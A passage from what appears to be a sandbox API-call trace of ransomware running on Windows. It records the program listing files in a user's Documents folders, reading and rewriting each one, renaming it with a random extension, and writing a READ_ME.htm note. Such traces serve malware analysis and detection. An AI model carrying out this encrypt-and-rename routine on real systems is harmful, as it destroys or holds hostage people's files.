ftCreationTime.dwHighDateTime=0x1d8c06e, ftLastAccessTime.dwLowDateTime=0x187310b0, ftLastAccessTime.dwHighDateTime=0x1d8c0b4, ftLastWriteTime.dwLowDateTime=0x57b13f20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x155a0)) returned 1 [0153.021] SetErrorMode (uMode=0x0) returned 0x1 [0153.021] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\j_ivk4yknnivy.ods"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\J_Ivk4yknnivy.ods.iwq3vk" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\j_ivk4yknnivy.ods.iwq3vk")) returned 1 [0153.025] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\READ_ME.htm", lpFilePart=0x0) returned 0x37 [0153.025] SetErrorMode (uMode=0x1) returned 0x0 [0153.025] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\j5g-Xfr8dqgh7T\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\j5g-xfr8dqgh7t\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0153.026] GetFileType (hFile=0x1d0) returned 0x1 [0153.026] SetErrorMode (uMode=0x0) returned 0x1 [0153.026] GetFileType (hFile=0x1d0) returned 0x1 [0153.026] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a54d00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a54d00*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0153.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-", lpFilePart=0x0) returned 0x21 [0153.028] SetErrorMode (uMode=0x1) returned 0x0 [0153.028] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2896200, ftCreationTime.dwHighDateTime=0x1d8b70d, ftLastAccessTime.dwLowDateTime=0x35a2c860, ftLastAccessTime.dwHighDateTime=0x1d8bbcd, ftLastWriteTime.dwLowDateTime=0x35a2c860, ftLastWriteTime.dwHighDateTime=0x1d8bbcd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0153.029] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2896200, ftCreationTime.dwHighDateTime=0x1d8b70d, ftLastAccessTime.dwLowDateTime=0x35a2c860, ftLastAccessTime.dwHighDateTime=0x1d8bbcd, ftLastWriteTime.dwLowDateTime=0x35a2c860, ftLastWriteTime.dwHighDateTime=0x1d8bbcd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.029] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x792bda50, ftCreationTime.dwHighDateTime=0x1d8b893, ftLastAccessTime.dwLowDateTime=0x42da3ea0, ftLastAccessTime.dwHighDateTime=0x1d8bc59, ftLastWriteTime.dwLowDateTime=0x42da3ea0, ftLastWriteTime.dwHighDateTime=0x1d8bc59, nFileSizeHigh=0x0, nFileSizeLow=0x3c36, dwReserved0=0x0, dwReserved1=0x0, cFileName="1iKj3LouSE8tka.pdf", cAlternateFileName="1IKJ3L~1.PDF")) returned 1 [0153.029] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36636f80, ftCreationTime.dwHighDateTime=0x1d8b2e9, ftLastAccessTime.dwLowDateTime=0xa99dc1b0, ftLastAccessTime.dwHighDateTime=0x1d8bb47, ftLastWriteTime.dwLowDateTime=0xa99dc1b0, ftLastWriteTime.dwHighDateTime=0x1d8bb47, nFileSizeHigh=0x0, nFileSizeLow=0xf4fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCMx8oRdsb2P_vnN.xlsx", cAlternateFileName="DCMX8O~1.XLS")) returned 1 [0153.029] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5f861a0, ftCreationTime.dwHighDateTime=0x1d8b0d9, ftLastAccessTime.dwLowDateTime=0xf68255f0, ftLastAccessTime.dwHighDateTime=0x1d8bd80, ftLastWriteTime.dwLowDateTime=0xf68255f0, ftLastWriteTime.dwHighDateTime=0x1d8bd80, nFileSizeHigh=0x0, nFileSizeLow=0x7e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfIuLoxf3L.doc", cAlternateFileName="DFIULO~1.DOC")) returned 1 [0153.029] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d533cb0, ftCreationTime.dwHighDateTime=0x1d8b11b, ftLastAccessTime.dwLowDateTime=0x8010c6b0, ftLastAccessTime.dwHighDateTime=0x1d8bb3a, ftLastWriteTime.dwLowDateTime=0x8010c6b0, ftLastWriteTime.dwHighDateTime=0x1d8bb3a, nFileSizeHigh=0x0, nFileSizeLow=0x1482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml1qaw b9IT2Kv6H0.ppt", cAlternateFileName="ML1QAW~1.PPT")) returned 1 [0153.029] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb2f460, ftCreationTime.dwHighDateTime=0x1d8b3a7, ftLastAccessTime.dwLowDateTime=0x506677a0, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x506677a0, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x1601, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgAq.xls", cAlternateFileName="")) returned 1 [0153.029] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb2f460, ftCreationTime.dwHighDateTime=0x1d8b3a7, ftLastAccessTime.dwLowDateTime=0x506677a0, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x506677a0, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x1601, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgAq.xls", cAlternateFileName="")) returned 0 [0153.029] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0153.030] SetErrorMode (uMode=0x0) returned 0x1 [0153.030] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-", lpFilePart=0x0) returned 0x21 [0153.030] SetErrorMode (uMode=0x1) returned 0x0 [0153.030] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2896200, ftCreationTime.dwHighDateTime=0x1d8b70d, ftLastAccessTime.dwLowDateTime=0x35a2c860, ftLastAccessTime.dwHighDateTime=0x1d8bbcd, ftLastWriteTime.dwLowDateTime=0x35a2c860, ftLastWriteTime.dwHighDateTime=0x1d8bbcd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0153.030] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2896200, ftCreationTime.dwHighDateTime=0x1d8b70d, ftLastAccessTime.dwLowDateTime=0x35a2c860, ftLastAccessTime.dwHighDateTime=0x1d8bbcd, ftLastWriteTime.dwLowDateTime=0x35a2c860, ftLastWriteTime.dwHighDateTime=0x1d8bbcd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x792bda50, ftCreationTime.dwHighDateTime=0x1d8b893, ftLastAccessTime.dwLowDateTime=0x42da3ea0, ftLastAccessTime.dwHighDateTime=0x1d8bc59, ftLastWriteTime.dwLowDateTime=0x42da3ea0, ftLastWriteTime.dwHighDateTime=0x1d8bc59, nFileSizeHigh=0x0, nFileSizeLow=0x3c36, dwReserved0=0x0, dwReserved1=0x0, cFileName="1iKj3LouSE8tka.pdf", cAlternateFileName="1IKJ3L~1.PDF")) returned 1 [0153.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36636f80, ftCreationTime.dwHighDateTime=0x1d8b2e9, ftLastAccessTime.dwLowDateTime=0xa99dc1b0, ftLastAccessTime.dwHighDateTime=0x1d8bb47, ftLastWriteTime.dwLowDateTime=0xa99dc1b0, ftLastWriteTime.dwHighDateTime=0x1d8bb47, nFileSizeHigh=0x0, nFileSizeLow=0xf4fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCMx8oRdsb2P_vnN.xlsx", cAlternateFileName="DCMX8O~1.XLS")) returned 1 [0153.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5f861a0, ftCreationTime.dwHighDateTime=0x1d8b0d9, ftLastAccessTime.dwLowDateTime=0xf68255f0, ftLastAccessTime.dwHighDateTime=0x1d8bd80, ftLastWriteTime.dwLowDateTime=0xf68255f0, ftLastWriteTime.dwHighDateTime=0x1d8bd80, nFileSizeHigh=0x0, nFileSizeLow=0x7e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfIuLoxf3L.doc", cAlternateFileName="DFIULO~1.DOC")) returned 1 [0153.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d533cb0, ftCreationTime.dwHighDateTime=0x1d8b11b, ftLastAccessTime.dwLowDateTime=0x8010c6b0, ftLastAccessTime.dwHighDateTime=0x1d8bb3a, ftLastWriteTime.dwLowDateTime=0x8010c6b0, ftLastWriteTime.dwHighDateTime=0x1d8bb3a, nFileSizeHigh=0x0, nFileSizeLow=0x1482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml1qaw b9IT2Kv6H0.ppt", cAlternateFileName="ML1QAW~1.PPT")) returned 1 [0153.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb2f460, ftCreationTime.dwHighDateTime=0x1d8b3a7, ftLastAccessTime.dwLowDateTime=0x506677a0, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x506677a0, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x1601, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgAq.xls", cAlternateFileName="")) returned 1 [0153.031] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb2f460, ftCreationTime.dwHighDateTime=0x1d8b3a7, ftLastAccessTime.dwLowDateTime=0x506677a0, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x506677a0, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x1601, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZgAq.xls", cAlternateFileName="")) returned 0 [0153.031] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0153.031] SetErrorMode (uMode=0x0) returned 0x1 [0153.032] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf", lpFilePart=0x0) returned 0x34 [0153.032] SetErrorMode (uMode=0x1) returned 0x0 [0153.032] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\1ikj3louse8tka.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.032] GetFileType (hFile=0x1d0) returned 0x1 [0153.032] SetErrorMode (uMode=0x0) returned 0x1 [0153.032] GetFileType (hFile=0x1d0) returned 0x1 [0153.032] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x3c36 [0153.032] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a58150, nNumberOfBytesToRead=0x3c36, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2a58150*, lpNumberOfBytesRead=0x21d418*=0x3c36, lpOverlapped=0x0) returned 1 [0153.097] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf", lpFilePart=0x0) returned 0x34 [0153.097] SetErrorMode (uMode=0x1) returned 0x0 [0153.097] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\1ikj3louse8tka.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.099] GetFileType (hFile=0x1d0) returned 0x1 [0153.099] SetErrorMode (uMode=0x0) returned 0x1 [0153.099] GetFileType (hFile=0x1d0) returned 0x1 [0153.099] WriteFile (in: hFile=0x1d0, lpBuffer=0x2921af0*, nNumberOfBytesToWrite=0x3c40, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2921af0*, lpNumberOfBytesWritten=0x21d498*=0x3c40, lpOverlapped=0x0) returned 1 [0153.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf", lpFilePart=0x0) returned 0x34 [0153.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf.0s0q4q", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf.0s0q4q", lpFilePart=0x0) returned 0x3b [0153.101] SetErrorMode (uMode=0x1) returned 0x0 [0153.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\1ikj3louse8tka.pdf"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x792bda50, ftCreationTime.dwHighDateTime=0x1d8b893, ftLastAccessTime.dwLowDateTime=0x42da3ea0, ftLastAccessTime.dwHighDateTime=0x1d8bc59, ftLastWriteTime.dwLowDateTime=0x57bd2600, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x3c40)) returned 1 [0153.101] SetErrorMode (uMode=0x0) returned 0x1 [0153.102] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\1ikj3louse8tka.pdf"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\1iKj3LouSE8tka.pdf.0s0q4q" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\1ikj3louse8tka.pdf.0s0q4q")) returned 1 [0153.102] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx", lpFilePart=0x0) returned 0x37 [0153.103] SetErrorMode (uMode=0x1) returned 0x0 [0153.103] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dcmx8ordsb2p_vnn.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.103] GetFileType (hFile=0x1d0) returned 0x1 [0153.103] SetErrorMode (uMode=0x0) returned 0x1 [0153.103] GetFileType (hFile=0x1d0) returned 0x1 [0153.103] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xf4fe [0153.103] ReadFile (in: hFile=0x1d0, lpBuffer=0x2926628, nNumberOfBytesToRead=0xf4fe, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2926628*, lpNumberOfBytesRead=0x21d418*=0xf4fe, lpOverlapped=0x0) returned 1 [0153.135] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx", lpFilePart=0x0) returned 0x37 [0153.135] SetErrorMode (uMode=0x1) returned 0x0 [0153.135] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dcmx8ordsb2p_vnn.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.137] GetFileType (hFile=0x1d0) returned 0x1 [0153.137] SetErrorMode (uMode=0x0) returned 0x1 [0153.137] GetFileType (hFile=0x1d0) returned 0x1 [0153.137] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a34350*, nNumberOfBytesToWrite=0xf500, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2a34350*, lpNumberOfBytesWritten=0x21d498*=0xf500, lpOverlapped=0x0) returned 1 [0153.140] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx", lpFilePart=0x0) returned 0x37 [0153.140] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx.tk5rbt", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx.tk5rbt", lpFilePart=0x0) returned 0x3e [0153.140] SetErrorMode (uMode=0x1) returned 0x0 [0153.140] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dcmx8ordsb2p_vnn.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36636f80, ftCreationTime.dwHighDateTime=0x1d8b2e9, ftLastAccessTime.dwLowDateTime=0xa99dc1b0, ftLastAccessTime.dwHighDateTime=0x1d8bb47, ftLastWriteTime.dwLowDateTime=0x57c44a20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xf500)) returned 1 [0153.141] SetErrorMode (uMode=0x0) returned 0x1 [0153.141] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dcmx8ordsb2p_vnn.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\DCMx8oRdsb2P_vnN.xlsx.tk5rbt" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dcmx8ordsb2p_vnn.xlsx.tk5rbt")) returned 1 [0153.145] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc", lpFilePart=0x0) returned 0x30 [0153.145] SetErrorMode (uMode=0x1) returned 0x0 [0153.145] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dfiuloxf3l.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.146] GetFileType (hFile=0x1d0) returned 0x1 [0153.146] SetErrorMode (uMode=0x0) returned 0x1 [0153.146] GetFileType (hFile=0x1d0) returned 0x1 [0153.146] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x7e32 [0153.146] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a44748, nNumberOfBytesToRead=0x7e32, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2a44748*, lpNumberOfBytesRead=0x21d418*=0x7e32, lpOverlapped=0x0) returned 1 [0153.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc", lpFilePart=0x0) returned 0x30 [0153.293] SetErrorMode (uMode=0x1) returned 0x0 [0153.293] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dfiuloxf3l.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.295] GetFileType (hFile=0x1d0) returned 0x1 [0153.295] SetErrorMode (uMode=0x0) returned 0x1 [0153.295] GetFileType (hFile=0x1d0) returned 0x1 [0153.295] WriteFile (in: hFile=0x1d0, lpBuffer=0x2949ae0*, nNumberOfBytesToWrite=0x7e40, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2949ae0*, lpNumberOfBytesWritten=0x21d498*=0x7e40, lpOverlapped=0x0) returned 1 [0153.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc", lpFilePart=0x0) returned 0x30 [0153.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc.bc63r6", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc.bc63r6", lpFilePart=0x0) returned 0x37 [0153.298] SetErrorMode (uMode=0x1) returned 0x0 [0153.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dfiuloxf3l.doc"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5f861a0, ftCreationTime.dwHighDateTime=0x1d8b0d9, ftLastAccessTime.dwLowDateTime=0xf68255f0, ftLastAccessTime.dwHighDateTime=0x1d8bd80, ftLastWriteTime.dwLowDateTime=0x57dc17e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7e40)) returned 1 [0153.298] SetErrorMode (uMode=0x0) returned 0x1 [0153.298] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dfiuloxf3l.doc"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\dfIuLoxf3L.doc.bc63r6" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\dfiuloxf3l.doc.bc63r6")) returned 1 [0153.299] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt", lpFilePart=0x0) returned 0x37 [0153.299] SetErrorMode (uMode=0x1) returned 0x0 [0153.299] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\LtH-\\ml1qaw b9IT2Kv6H0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\lth-\\ml1qaw b9it2kv6h0.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0153.300] GetFileType (hFile=0x1d0) returned 0x1 [0153.300] SetErrorMode (uMode=0x0) returned 0x1 [0153.300] GetFileType (hFile=0x1d0) returned 0x1 [0153.300] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x1482 [0153.300] ReadFile (in: hFile=0x1d0, lpBuffer=0x29527f0, nNumberOfBytesToRead=0x1482, 